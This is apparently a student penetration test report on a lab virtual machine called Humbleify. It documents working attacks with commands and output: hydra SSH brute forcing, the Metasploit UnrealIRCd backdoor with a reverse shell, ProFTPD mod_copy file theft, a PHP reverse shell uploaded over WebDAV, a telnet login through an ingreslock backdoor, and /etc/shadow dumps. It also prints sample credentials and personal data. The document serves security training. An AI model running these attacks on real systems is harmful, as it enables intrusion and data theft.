

Team 3 Penetration Testing Report

Allie Evan, Pete Howe, Haris Rahid, Simon Wake

Executive Summary

Over the past three weeks, we carried out a penetration test on a duplicate version of your server Humbleify. The duplicate version was used to prevent crashing the server, but the duplicate operated in the exact same way as the live website. The only information that my team was given was the IP address of your server. With this IP address, we were able to find out the usernames and passwords of all seven employees as well as the email addresses, credit card numbers, social security numbers, and first and last names of all 430,000 of your customers. This should be very alarming because of the damage that a malicious hacker could do if they exploited your server in the same way that we did. A malicious hacker could use this data to harm your company as well as your customers. In addition to the previously mentioned information, we were also able to discover an encrypted message from one of your employees to someone outside of the organization describing a “backdoor” into your server. This would allow the employee to access the server, and the sensitive information on the server, even if that employee was terminated and their account was removed from the system. It is highly suspicious that a current employee would do this because it can be reasonably assumed that they would have used this “backdoor” to harm your company if they were fired. We also discovered notes that employees have left for themselves describing how to access certain information and databases. All of this information could be used against your company, Humbleify, if the data were to get into the wrong hands.

Your server was exploited by using different hacking techniques. These techniques were very effective due to the weak security measures that your company had in place. The names and company email addresses of all employees were in plain sight on the website. This in itself is not a bad practice if you would like your customers to be able to contact your employees. However, with this information, we were able to guess the username of each employee and use a password cracking method to login to the employee portals. The passwords of your employees were very weak allowing us to crack the passwords in minutes. We recommend that the passwords of your employees should be a four word passphrase. Another bad security practice was allowing each employee to have access to the database that contained sensitive customer information. By doing this, a hacker only has to gain access to one employee's account to be able to access the database. We recommend only allowing a few high ranking and trustworthy employees access to customer information. Regarding the website as a whole, the servers that make the site run have too many access points for malicious hackers and should be updated to have better security.

1. Project Scope Description

1.1. Objectives

We have entered into a contractual agreement with Humbleify for us to carry out a vulnerability assessment of a specific Humbleify asset hosted on vagrantcloud at [deargle/pentest-humbleify](#).

The agreed-upon objectives are threefold:

1. Document vulnerabilities that you are able to successfully exploit on the server. Describe in detail what you did and what level of access you were able to obtain. If you obtain a user account with limited privileges, document whether you were able to escalate the privileges to root. Document each exploit that you are able to successfully launch.
2. Document potentially sensitive information that you are able to obtain from the server. These could include user files or web, database, or other server files.
3. For both 1 and 2 above, argue for methods that could protect the vulnerabilities and sensitive information from > exploitation.

1.2. Authorization

We are operating under the following authorization:

You are hereby authorized to perform the agreed-upon vulnerability assessment of the Humbleify vagrantbox virtual machine with IP address 192.168.56.200. Your scope of engagement is exclusively limited to the single Humbleify asset.

You may:

- Access the server through any technological means available.
- Carry out activities that may crash the server.

You may not:

- Social engineer any Humbleify employees.
- Sabotage the work of any other consultancy team hired by Humbleify.
- Disclose to any other party any information discovered on the asset.

Furthermore, note the following:

- This is a vagrant box development version of a live asset. The vagrant-standard privileged user vagrant is present on this virtual machine, but not on the live version of the asset. Therefore, any access via the vagrant user is moot and out of scope.

2. Target of Assessment

Table – Server Description

Key	Value
Operating System	Linux Kernel 3.13 on Ubuntu 14.04
MAC Address	52:54:00:BE:F6:67 (QEMU virtual NIC)
User accounts	tyler bcurtis bschneider cincinnatus jcochran mhayes mzimm
Services running	FTP Version: ProFTPD 1.3.5 ssh Version: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0) Http Version: Apache httpd 2.4.7 ((Ubuntu)) Rpcbind version: 2-4 (RPC #10000) Ingreslock Version: unknown Mysql Version: MySQL (unauthorized) Irc Version: UnrealIRCd

Noteworthy Installed Applications	MySQL UnrealIRC ProFTPD
Web sites hosted	http://192.168.56.200/
Databases, and stored information	MySQL database <ul style="list-style-type: none"> - Contained sensitive customer information including first and last names, email addresses, social security numbers, hashed passwords, and credit card numbers with their expiration date and year - Contained employee usernames and passwords stored in plaintext as well as employee salary information

3. Relevant Findings

User	Password	Cross-References
3.1		4.4, 5.4
tyler	humbl3ifytyl3r	
bcurtis	motocross4life	
bschneider	humblhumbl	
cincinnatus	hellohello04	
jcochran	jcochran	
mhayes	seyahm	
mzimm	ChangeMe	
MySQL root	yfielbmuh	

Table – Other Sensitive Information Obtained

Name	Description	Cross-references
------	-------------	------------------

3.2 Customer Personal Identifiable Information	SQL database containing sensitive employee and customer information. Customer information includes first and last names, email addresses, SSNs, credit card information stored in plaintext	4.2, 5.2
3.3 Root Access	Executable file named “documents.zip” which, when run, gives the user root privileges. Can be run by any user	4.3, 5.3
3.4 Personal Notes	Employee personal notes and memos that described how to access MySQL table as well as describing potential vulnerabilities in the server	4.7, 5.8
3.5 Employee Emails	Email describing that user “mhayes” can run the command “sudo cat-shadow” to obtain a list of hashed employee passwords. Other emails from user “bcurtis” to an external user describing a backdoor as well as a method for escalating user privileges	4.8, 5.9

Table – Vulnerable Services

Service	Description	Cross-references
3.6 ProFTPD	The server is running a ProFTPD application. It is using the updated version 1.3.5, which is vulnerable through its mod_copy module that allows unauthorized users access to the SITE CPFR and CITE CPTO commands. The information obtained due to this vulnerability is discussed in section X.C. This dilemma can be mediated by updating ProFTPD to 1.3.6rc1	4.6, 5.7

	or newer	
<hr/>		
3.7 WebDAV	WebDAV is enabled for the /uploads/ folder and allows users to remotely connect to the server and upload documents. An attacker can upload malicious documents that may enable them to gain access to the server and allow for lateral movement. WebDAV should be disabled when not in use and uploads of specific file types like .php should be limited.	4.9, 5.10
3.8 Ingreslock	This service can be used to limit access to SQL databases, but it also automatically creates a backdoor when connecting to port 1524, which can be configured to login as a specific user without needing to enter a password.	4.10, 5.11
3.9 UnrealIRCd	The server is running version 3.2.8.1, which has a backdoor exploit that can be used to gain access to the server as Tyler. This can be remedied by upgrading to UnrealIRCd 6.0.7. Alternatively, if this service is not regularly used, it should be shut down.	4.5, 5.5

4. Supporting Details

4.1 MySQL

Through an nmap scan of the server we discover MySQL running on port 3306 session 7.1 to view the scan. We performed this exploit by:

1. To access the database we used a message discovered through the exploit of FTP (see section 4.7) written by Tyler. The message describes how to connect to the Humbleify

MySQL database, password hints, and the salt as well as hash for mySQL root. See section 7.6 for the exact message.

```
(root@kali)~# echo -n "1234humbl" | md5sum
cce14fe1eeff3dc01de1d8e6e77b1f5e -

(root@kali)~# echo -n "1234humblhumbl" | md5sum
dd3803c0af8b3fe130fdb38e1fa4ce1 -

(root@kali)~# echo -n "1234yfielbmuh" | md5sum
341a451dcf7e552a237d49a63bfbbdf1 -
```

- Using the password hint of “company website” we were able to guess and check different passwords using the echo command with the md5sum hash as shown below. After a few tries we were able to guess the correct password that replicated the MySQL hash in Tyler’s message.

- With the password we discovered, and access command provided by Tyler’s note we were able to successfully enter the MySQL database when logged into Humbleify’s server.

```
mhayes@vagrant:~$ mysql -h 127.0.0.1 -u root -p humbleify
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
```

- Using the commands provided by Tyler’s note we navigated through the database and uncovered personal identifying customer information, employee passwords, and employee salaries. See sections 7.12 and 7.14 for more information found in the database

```
mysql> select * from customers;
```

first_name	last_name	email	password_md5	ssn	cc_number	cc_exp_month	cc_exp_year
Inga	Emily	inga.emily@gmail.com	64a431a8e7a363e04af4667d92c9fc56	783-41-8747	364716589178558	8	2023
Maximus	Rothgeb	maximus.rothgeb@outlook.com	67db850080fc19693e6d786f20797014	134-96-8389	4256129739626480	10	2020

4.2 Customer Personal Identifiable Information

We discovered a vulnerability to the MySQL database through an nmap scan. See section 7.1.

- We gained access to the MySQL database as described in section 4.1.
- We were able to navigate through the database from directions in a personal note. See sections 4.7 and 7.6.

The below information was found in the database. See section 7.12 for the table format.

```
mysql> select * from employees;
```

username	first_name	last_name	password	salary
tyler	Tyler	Henry	humbl3ifytyl3r	90000
bcurtis	Brent	Curtis	motocross4life	36000
bschneider	Bill	Schneider	humblhumbl	999999
cincinnatus	Meg	Campbell	hellohello04	72000
jcochran	James	Cochran	jcochran	19005
mhayes	Marla	Hayes	seyahm	1
mzimm	Mary	Zimmerman	ChangeMe	350

4.3 Root Access

We were able to escalate to root in several ways:

The first way we achieved root access was by logging into Humbleify's server as Tyler. Tyler has sudo privileges, so by running "sudo -s" a root shell is created.

```
tyler@vagrant:~$ sudo -s
root@vagrant:~# whoami
root
root@vagrant:~#
```

The second way we achieved root privileges was by running "/home/bcurtis/recycle-bin/documents.zip" which gives any user root access (see section 7.15).

4.4 Passwords

We performed this exploit by:

1. Guessing the usernames of the employees as first initial of first name plus last name. Usernames were ultimately the same as the local part of email addresses.
2. Next we used hydra to brute force our way into as many users as possible. The hydra command used is shown below.

```
(root@kali) [~/vagrant-boxes/pentest-humbleify]
# hydra -V -L /usr/share/metasploit-framework/data/wordlists/vagrant_users.txt -p PASS -e nsr 192.168.56.200 ssh
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-07 17:42:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 48 login tries (l:12/p:4), ~3 tries per task
[DATA] attacking ssh://192.168.56.200:22/
[ATTEMPT] target 192.168.56.200 - login "thenry" - pass "thenry" - 1 of 48 [child 0] (0/0)
[ATTEMPT] target 192.168.56.200 - login "thenry" - pass "" - 2 of 48 [child 1] (0/0)
[ATTEMPT] target 192.168.56.200 - login "thenry" - pass "yrneht" - 3 of 48 [child 2] (0/0)
[ATTEMPT] target 192.168.56.200 - login "thenry" - pass "PASS" - 4 of 48 [child 3] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bcurtis" - pass "bcurtis" - 5 of 48 [child 4] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bcurtis" - pass "" - 6 of 48 [child 5] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bcurtis" - pass "sitrucl" - 7 of 48 [child 6] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bcurtis" - pass "PASS" - 8 of 48 [child 7] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bschneider" - pass "bschneider" - 9 of 48 [child 8] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bschneider" - pass "" - 10 of 48 [child 9] (0/0)
[ATTEMPT] target 192.168.56.200 - login "bschneider" - pass "redienhcsb" - 11 of 48 [child 10] (0/0)
```


3. These two users gave us enough access to the server to perform sufficient reconnaissance to be able to further exploit the server (see sections 4.7 and 4.8).
4. Additional user password hashes were gained through access to the `/etc/shadow` file that mhayes has permission to access (see section 4.8.2).

```

mhayes@vagrant:~/mail$ sudo cat /etc/shadow
root!:17767:0:99999:7:::
daemon*:17016:0:99999:7:::
bin*:17016:0:99999:7:::
sys*:17016:0:99999:7:::
sync*:17016:0:99999:7:::
games*:17016:0:99999:7:::
man*:17016:0:99999:7:::
lp*:17016:0:99999:7:::
mail*:17016:0:99999:7:::
news*:17016:0:99999:7:::
uucp*:17016:0:99999:7:::
proxy*:17016:0:99999:7:::
www-data*:17016:0:99999:7:::
backup*:17016:0:99999:7:::
list*:17016:0:99999:7:::
irc*:17016:0:99999:7:::
gnats*:17016:0:99999:7:::
nobody*:17016:0:99999:7:::
libuuid!:17016:0:99999:7:::
syslog*:17016:0:99999:7:::
messagebus*:17767:0:99999:7:::
landscape*:17767:0:99999:7:::
sshd*:17767:0:99999:7:::
statd*:17767:0:99999:7:::
vagrant:$6$SX1VaXtH$UbYPh.XkYCFHbaS3lDA6yc8z4woXdQKaoLL8jaU/Jh9Hg6.PnQ91abDrNGRBq3vYK96ATibjv7BVbeuW7t0sJ0:17767:0:99999:7:::
vboxadd!:17767:0:99999:7:::
dirnmgr*:19100:0:99999:7:::
tyler:$1$salt123$Xd.9vhTmOrkybXCSzzl.O.:19100:0:99999:7:::
bcurtis:$1$salt123$Rv23C4GhDRzJ5Hak1B0UF.:19100:0:99999:7:::
bschneider:$1$salt123$.sIeB4E60fHjv4vsH/jAF/:19100:0:99999:7:::
cincinnatus:$1$salt123$09LEpd6LAqFU9BTaegCRH1:19100:0:99999:7:::
jcochrane:$1$salt123$FR1hg8BcJqu79UxCA073y/:19100:0:99999:7:::
mhayes:$1$salt123$kwFVksPlAe7UQvY0/8SNF.:19100:0:99999:7:::
mzimm:$1$salt123$7cTwqBD8tVoerYuBITPhU/:19100:0:99999:7:::
mysql!:19100:0:99999:7:::
mhayes@vagrant:~/mail$

```

5. These passwords were cracked offline using hashcat (see section 7.17), which gave us access to a total of 5 user accounts when combined with the credentials obtained using hydra.

4.5 UnrealIRCd Backdoor

We discovered this vulnerability when we noticed that UnrealIRCd was running on port 6667 using an Nmap scan. We performed this exploit by:

1. Running hexchat
2. Connecting to the IRC service on 192.168.56.200 on port 6667
3. Getting version information after connection

```
Welcome to the TestIRC IRC Network swvtgcp!swvtgcp@192.168.56.101
Your host is irc.TestIRC.net, running version Unreal3.2.8.1
This server was created Mon Apr 18 2022 at 21:27:44 UTC
```

4. Searching version information in metasploit

```
msf6 auxiliary(analyze/crack_webapps) > search unrealirc

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent No      UnrealIRCd 3.2.8.1 Backdoor Command Execution
```

5. Selecting an appropriate payload, and running the exploit

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads  --Documents--

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/bind_perl              normal          No      Unix Command Shell, Bind TCP (via Perl)
1  payload/cmd/unix/bind_perl_ipv6         normal          No      Unix Command Shell, Bind TCP (via perl) IPv6
2  payload/cmd/unix/bind_ruby              normal          No      Unix Command Shell, Bind TCP (via Ruby)
3  payload/cmd/unix/bind_ruby_ipv6         normal          No      Unix Command Shell, Bind TCP (via Ruby) IPv6
4  payload/cmd/unix/generic                 normal          No      Unix Command, Generic Command Execution
5  payload/cmd/unix/reverse                 normal          No      Unix Command Shell, Double Reverse TCP (telnet)
6  payload/cmd/unix/reverse_bash_telnet_ssl normal          No      Unix Command Shell, Reverse TCP SSL (telnet)
7  payload/cmd/unix/reverse_perl           normal          No      Unix Command Shell, Reverse TCP (via Perl)
8  payload/cmd/unix/reverse_perl_ssl        normal          No      Unix Command Shell, Reverse TCP SSL (via perl)
9  payload/cmd/unix/reverse_ruby           normal          No      Unix Command Shell, Reverse TCP (via Ruby)
10 payload/cmd/unix/reverse_ruby_ssl        normal          No      Unix Command Shell, Reverse TCP SSL (via Ruby)
11 payload/cmd/unix/reverse_ssl_double_telnet normal          No      Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 5
payload => cmd/unix/reverse
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 192.168.121.1:4444
[*] 192.168.56.200:6667 - Connected to 192.168.56.200:6667 ...
:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
:irc.TestIRC.net NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.200:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo rBYMThrDKRHpAspb;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "rBYMThrDKRHpAspb\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.121.1:4444 -> 192.168.121.150:42042 ) at 2023-04-13 18:33:44 -0400

whoami
tyler
```

6. Because Tyler has sudo privileges, this can be easily escalated to root.

```
whoami
tyler
sudo -s
whoami
root
```

4.6 ProFTPD

This vulnerability was discovered by first running an nmap scan to view the ports open on the network. The scan showed several open ports including TCP port 22 running ProFTPD version 1.3.5 see section 7.1

We exploited this service by:

1. Opening metasploit console to search for possible exploits of ProFTPD version 1.3.5

```
msf6 auxiliary(scanner/http/apache_normalize_path) > search ProFTP 1.3.5

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22      excellent Yes     ProFTP 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec
```

The result returned one exploit matching this service and version. This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. See section 7.2 for a further description of the module used.

2. From the information provided by the exploit description, next a connection to the FTP of the server was established. No credentials were needed to access the module.

```
msf6 auxiliary(scanner/http/apache_normalize_path) > use 0
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > ftp 192.168.56.200
[*] exec: ftp 192.168.56.200

Connected to 192.168.56.200.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.200]
Name (192.168.56.200:root):
331 Password required for root
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> SITE help
?Invalid command
ftp> sit help
214-The following SITE commands are recognized (* =>'s unimplemented)
  CPFR <sp> pathname
  CPTO <sp> pathname
  HELP
  CHGRP
  CHMOD
214 Direct comments to root@localhost
ftp> █
```

3. The CPFR and CPTO commands were used to copy and paste /etc/passwd file to <http://192.168.56.200/myfile>. This site then displayed all of the usernames in the server.

```

CHGRP 1000 to a group, and so can files
CHMOD 700 to the above two groups
214 Direct comments to root@localhost
ftp> SITE CPFR /etc/passwd
?Invalid command
ftp> sit CPFR /etc/passwd
350 File or directory exists, ready for destination name
ftp> sit cpto /var/www/ect/passwd
550 cpto: No such file or directory
ftp> sit cpto /var/www/html/myfile
503 Bad sequence of commands
ftp> sit CPFR /etc/passwd
350 File or directory exists, ready for destination name
ftp> sit cpto /var/www/html/myfile
250 Copy successful
ftp> quite
?Invalid command
ftp> quite
?Invalid command
ftp> quit
221 Goodbye.

```

192.168.56.200/myfile

Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter

```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuid:x:100:101:/var/lib/libuid:
syslog:x:101:104:/home/syslog:/bin/false
messagebus:x:102:106:/var/run/dbus:/bin/false
landscape:x:103:109:/var/lib/landscape:/bin/false
sshd:x:104:65534:/var/run/sshd:/usr/sbin/nologin
statd:x:105:65534:/var/lib/nfs:/bin/false
vagrant:x:1000:1000:vagrant,,/home/vagrant:/bin/bash
vboxadd:x:999:1:/var/run/vboxadd:/bin/false
dirmngr:x:106:112:/var/cache/dirmngr:/bin/sh
tyler:x:1111:1111:/home/tyler:/bin/bash
bcurtis:x:1112:1112:/home/bcurtis:/bin/bash
bschneider:x:1113:1113:/home/bschneider:/bin/bash
cincinnatus:x:1114:1114:/home/cincinnatus:/bin/bash
jcochran:x:1115:1115:/home/jcochran:/bin/bash
mhayes:x:1116:1116:/home/mhayes:/bin/bash
mzimm:x:1117:1117:/home/mzimm:/bin/bash
mysql:x:107:114:MySQL Server,,/nonexistent:/bin/false

```

4. Next the files associated with each user login from 192.168.56.200/myfile were copied and pasted to the site 192.168.56.200/imp.

```
(root@kali)~[/home/allie_evan2]
# ftp 192.168.56.200
Connected to 192.168.56.200.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.200]
Name (192.168.56.200:root):
331 Password required for root
Password:
530 Login incorrect. and no can files
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> site cpfr /home/bcurtis
350 File or directory exists, ready for destination name
ftp> site cpto /var/www/html/imp
550 cpto: Success
ftp> site cpfr /home/bschneider
350 File or directory exists, ready for destination name
ftp> site cpfr /home/bschneider
350 File or directory exists, ready for destination name
ftp> site cpto /var/www/html/imp
250 Copy successful
ftp> site cpfr /home/cincinnati
350 File or directory exists, ready for destination name
ftp> site cpto /var/www/html/imp
250 Copy successful
ftp> site cpfr /home/jcochran
```

← → ↺ 🏠 192.168.56.200/imp/

Kali Linux Kali Training Kali Tools Kali Forums Kali Docs

Index of /imp

Name	Last modified	Size	D
Parent Directory		-	
file-permissions-and-stuff.txt	2023-04-10 17:21	2.2K	
hashcat-practice.txt	2023-04-10 17:21	619	
mail/	2023-04-10 17:16	-	
mysql-notes.txt	2023-04-10 17:21	695	
reading-bash-history.txt	2023-04-10 17:21	361	
recycle-bin/	2023-04-10 17:19	-	
remember-to-turn-off-webdav.txt	2023-04-10 17:21	249	
warning-about-sudo-exploit.txt	2023-04-10 17:21	495	

Apache/2.4.7 (Ubuntu) Server at 192.168.56.200 Port 80

From this exploit we were able to gain access to the ftp service without any credentials, export users' files, and export the command files running on the server (see section 7.8). Several messages from employees were discovered describing how to access the MySQL database, vulnerable WebDAV on the webserver, who has the ability to use sudo to `cat` a file, and in depth descriptions of the three file and directory permissions. See sections 7.3-7.7 for screenshots of the messages.

4.7 Personal Notes

Numerous memos and personal notes were discovered in users' directories after gaining access to the server using user credentials and the ProFTPD exploit (see section 4.6). While these notes were not vulnerabilities in themselves, they provided important information about other vulnerabilities on the server and were essential for reconnaissance and information gathering.

1. We accessed users accounts after using hydra to obtain passwords (see section 4.4.2).
2. We logged in as jcochran using ssh to remotely access the server


```

$ ssh jcochran@192.168.56.200
jcochran@192.168.56.200's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

System information as of Thu Apr 13 23:58:14 UTC 2023

System load:  0.0                       Processes:            136
Usage of /:   3.4% of 61.65GB           Users logged in:     1
Memory usage: 64%                       IP address for eth0: 192.168.121.150
Swap usage:   0%                       IP address for eth1: 192.168.56.200

Graph this data and manage this system at:
https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Apr 13 19:31:42 2023 from 192.168.56.101
jcochran@vagrant:~$

```

3. Once we had user access to the server, we were able to explore the file directory

```

jcochran@vagrant:/home$ ls
bcurtis  bschneider  cincinnatus  jcochran  mhayes  mzimm  tyler  vagrant

```

```

jcochran@vagrant:/home/mhayes/mail$ ls -la
total 12
drwxr-xr-x 2 mhayes mhayes 4096 Apr 18 2022 .
drwxr-xr-x 4 mhayes mhayes 4096 Apr 11 18:18 ..
-rw-r--r-- 1 mhayes mhayes 550 Apr 18 2022 shadow-dump.txt

```

```

jcochran@vagrant:/home/tyler$ ls -la
total 56
drwxr-xr-x  4 tyler tyler 4096 Apr 13 19:19 .
drwxr-xr-x 10 root  root 4096 Apr 18 2022 ..
-rw-r--r--  1 root  root   5 Apr 13 19:19 .bash_history
-rw-r--r--  1 tyler tyler 220 Apr  9 2014 .bash_logout
-rw-r--r--  1 tyler tyler 3637 Apr  9 2014 .bashrc
drwxr-xr-x  2 tyler tyler 4096 Apr 13 19:15 .cache
-rw-r--r--  1 tyler tyler 2219 Apr 18 2022 file-permissions-and-stuff.txt
-rw-r--r--  1 tyler tyler  619 Apr 18 2022 hashcat-practice.txt
drwxr-xr-x  2 tyler tyler 4096 Apr 18 2022 mail
-rw-r--r--  1 tyler tyler  695 Apr 18 2022 mysql-notes.txt
-rw-r--r--  1 tyler tyler  675 Apr  9 2014 .profile
-rw-r--r--  1 tyler tyler  361 Apr 18 2022 reading-bash-history.txt
-rw-r--r--  1 tyler tyler  249 Apr 18 2022 remember-to-turn-off-webdav.txt
-rw-r--r--  1 tyler tyler  495 Apr 18 2022 warning-about-sudo-exploit.txt

```

4. While some users restricted access to personal files, others had files that were readable by any user. This allowed us to gain more information about the server, the services running on it, and potential vulnerabilities (see sections 7.3, 7.4, 7.5, 7.6, 7.7, 7.13).

4.8 Employee Emails

1. During reconnaissance with the jcochrane user account, we discovered email logs in the mail folders of mhayes and bcurtis that had restricted read access (see section 4.7.3).
2. After logging in with mhayes using a password obtained via hydra (see section 4.4.2), we were able to read her email and discovered that mhayes had permissions to obtain password hashes for all other users.

```
$ ssh mhayes@192.168.56.200
mhayes@192.168.56.200's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

System information as of Fri Apr 14 18:36:25 UTC 2023

System load:  0.0               Processes:            133
Usage of /:   3.4% of 61.65GB   Users logged in:     0
Memory usage: 62%              IP address for eth0: 192.168.121.150
Swap usage:   0%               IP address for eth1: 192.168.56.200

Graph this data and manage this system at:
  https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Fri Apr 14 18:36:25 2023 from 192.168.56.101
mhayes@vagrant:~$
```

```
mhayes@vagrant:~/mail$ cat shadow-dump.txt
Subject: Shadow Dump
To: <mhayes@humbleify.internal>
From: tyler@humbleify.internal

Hi Marla,

It's me, Tyler. I'm just leaving you this note to tell you that I have given your
account the ability to run a script that I wrote called `cat-shadow`. This will dump out
/etc/shadow, in case you need to show anyone for compliance purposes that we use
hashes on our login passwords. I'm new so I'm not sure if anyone would ever ask for that.

Remember that to run the command, you will need to feed it to `sudo`, like this:

    sudo cat-shadow

- Tyler
```

3. These passwords were cracked using hashcat (see section 7.17) to obtain more employee credentials, including bcurtis. Logging in as bcurtis allowed access to more email files similar to above.

```

$ ssh bcurtis@192.168.56.200
bcurtis@192.168.56.200's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

System information as of Fri Apr 14 18:41:07 UTC 2023

System load:  0.0                Processes:            133
Usage of /:   3.4% of 61.65GB    Users logged in:     0
Memory usage: 62%               IP address for eth0: 192.168.121.150
Swap usage:   0%                IP address for eth1: 192.168.56.200

Graph this data and manage this system at:
https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Apr 13 19:20:12 2023 from 192.168.56.101
bcurtis@vagrant:~$

```

```

bcurtis@vagrant:~/mail$ ls -la
total 16
drwxr-xr-x 2 bcurtis bcurtis 4096 Apr 18  2022 .
drwxr-xr-x 6 bcurtis bcurtis 4096 Apr 13 19:14 ..
-rw-r--r-- 1 bcurtis bcurtis  243 Apr 18  2022 FDY-vawrpgvba.txt
-rw-r--r-- 1 bcurtis bcurtis  256 Apr 18  2022 Onpxqbbe.txt
bcurtis@vagrant:~/mail$

```

4. While these files were enciphered, it was relatively easy to break the cipher thanks to other documents in bcurtis' directory (see sections 7.9, 7.10, and 7.11).
5. The decoded plaintext reveals that bcurtis had a secret way into the server on port 1524, which we know to be the ingreslock backdoor as well as a file called documents.zip, which is an executable file that can be run by any user (see sections 7.11 and 7.15).

4.9 WebDAV

We discovered this vulnerability through a clue on a personal note. See section 7.13.

1. We checked if WebDAV is enabled on multiple paths including /uploads/.

2. Run

```

msf6 auxiliary(scanner/http/webdav_scanner) > run

[*] 192.168.56.200 (Apache/2.4.7 (Ubuntu)) WebDAV disabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/webdav_scanner) > set path /uploads/
path => /uploads/
msf6 auxiliary(scanner/http/webdav_scanner) > run

[+] 192.168.56.200 (Apache/2.4.7 (Ubuntu)) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/webdav_scanner) >

```

a davtest for the specific url for uploads. See section 7.16.

3. Upload a file to the server that creates a shell on the local machine when the file is accessed.

```
$ cadaver http://192.168.56.200/uploads
dav:/uploads/> put php-reverse-shell.php
Uploading php-reverse-shell.php to `~/uploads/php-reverse-shell.php':
Progress: [=====] 100.0% of 5496 bytes succeeded.
```

4. Create a shell as shown below.

```
(root@kali)~# nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 192.168.56.200 40036
Linux vagrant 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
20:11:42 up 1 day, 1:21, 1 user, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
mhayes    pts/0    192.168.56.101  19:37   4:46   0.01s  0.01s  -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
```

4.10 IngresLock

We discovered this vulnerability from an nmap scan that showed Ingreslock running on port 1524 (see section 7.1)

1. While doing reconnaissance we discovered a note that described a backdoor user bcurtis had made on port 1524. See sections 7.10 and 7.11.
2. We then executed the telnet command to connect to port 1524, which logged us in as user bcurtis without any need to authenticate.

```
(root@kali)~# telnet 192.168.56.200 1524
Trying 192.168.56.200 ...
Connected to 192.168.56.200.
Escape character is '^]'.
bash: cannot set terminal process group (1051): Inappropriate ioctl for device
